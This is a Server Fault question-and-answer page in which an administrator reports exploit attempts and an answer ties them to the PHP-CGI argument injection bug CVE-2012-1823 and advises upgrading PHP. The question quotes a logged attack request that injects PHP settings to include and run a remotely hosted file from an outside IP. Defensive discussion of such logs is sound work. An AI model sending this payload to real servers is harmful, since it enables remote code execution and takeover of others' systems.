Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I'm getting a number of exploit attempts from different IP's today.

GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt

The content of info3.txt is:

Google is showing a bunch of people talking about this for the past couple of days but no real solutions or explanations of what this is. There is a write up at:

"I think this is where I'll leave things for now. I don't know if this site is part of a crime ring but since it has access to a botnet I'm going to assume it is. The IP isn't showing up anywhere as a distributor of malware which is odd. Maybe this is a web server that was recently compromised or an IP address recently acquired by whoever is organizing this attack."

My question is: What is the next step in situations like this? Is there a best practice that administrators should follow to notify security folks? Which sites do you follow to keep on top of things like this and apply the proper safeguards (like mod_security)?

share|improve this question

It's obvious that they try to exploit the recent bug found in PHP when configured as CGI (CVE-2012-1823).
What they are trying to achieve in the end, we can only guess until we hear from people who actually got compromised and analyzed the server afterwards.
From what it looks like at the moment, it is being tried to run the C99 shell on those servers. We can't link that to botnet recruiting or any other purpose yet.

As an Administrator you should certainly check that you are not vulnerable to that attack.
Which in this case is to verify that you have PHP >=5.3.12 deployed.

You could try to contact the abuse team of the owner of the IP from which the attack is originating and the IP on which the info3.txt is being hosted. But that provider will probably be not very impressed by your claim.

Notify security folks?
No, I wouldn't, it's trying to exploit a known bug.

I found it useful to subscribe to the security and/or announce mailing list of the software which I'm exposing to the Internet and of our base operating system.
This way I'm getting notified quickly about security problems and new releases which really concern me.

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.